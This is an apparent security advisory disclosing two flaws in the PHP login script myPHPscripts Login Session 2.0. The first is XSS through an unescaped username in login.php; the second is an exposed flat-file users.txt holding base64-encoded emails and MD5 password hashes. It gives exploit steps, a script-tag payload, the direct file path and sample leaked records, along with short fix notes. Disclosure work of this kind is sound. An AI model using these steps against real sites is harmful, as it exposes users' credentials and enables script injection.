[START] #################################################################################################################### [0x01] Informations: Script : myPHPscripts Login Session 2.0 Download : http://www.hotscripts.com/jump.php?listing_id=69881&jump_type=1 Vulnerability : XSS / Database Disclosure Author : Osirys Contact : osirys[at]live[dot]it Website : http://osirys.org Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX #################################################################################################################### [0x02] Bug: [XSS] ###### Bugged file is: /[path]/login.php [CODE] if ($u_invalid == 1) { $errors[] = "User <strong>$user</strong> is invalid. 3-15 alphanumeric characters required."; } [/CODE] If the username that we typed in the register form is invalid, it will directly appear in the html code. So we just have to put a js code, like an alert, and we will get a XSS. [!] FIX: Filter or validate $user before printing it in html code. [!] EXPLOIT: 1) Go at: /[path]/login.php?ls_register 2) In User form put a js code. (ex: <script>alert("XSS")</script>) 3) Field the other forms, and press register button. #################################################################################################################### [0x03] Bug: [Database Disclosure] ###### Bugged file is: /[path]/login.php [CODE] if (empty($errors)) { $newline = $records++; $e_email = base64_encode($email); $data = "$newline||$user||$e_email||$pass\n"; $fh = fopen($users, 'a') or die("Can't open user database."); fwrite($fh, $data); fclose($fh); ?> [/CODE] This cms uses a flat database, a .txt file where it stores usernames,passwords and emails of the registered users. [!] FIX: Don't use this kind of authentication :) [!] EXPLOIT: /[path]/users.txt Informations are printed in this way: 0||admin||b3NpcnlzQGxpdmUuaXQ=||6e1459df459890dfd8b4c3687c18abba 1||cazzone||bG9sQGxvbC5pdA==||b7dba5a1bc3605a87b59ac8147512c97 user_number||username||email(base64 encrypted)||password(md5 encrypted) #################################################################################################################### [/END]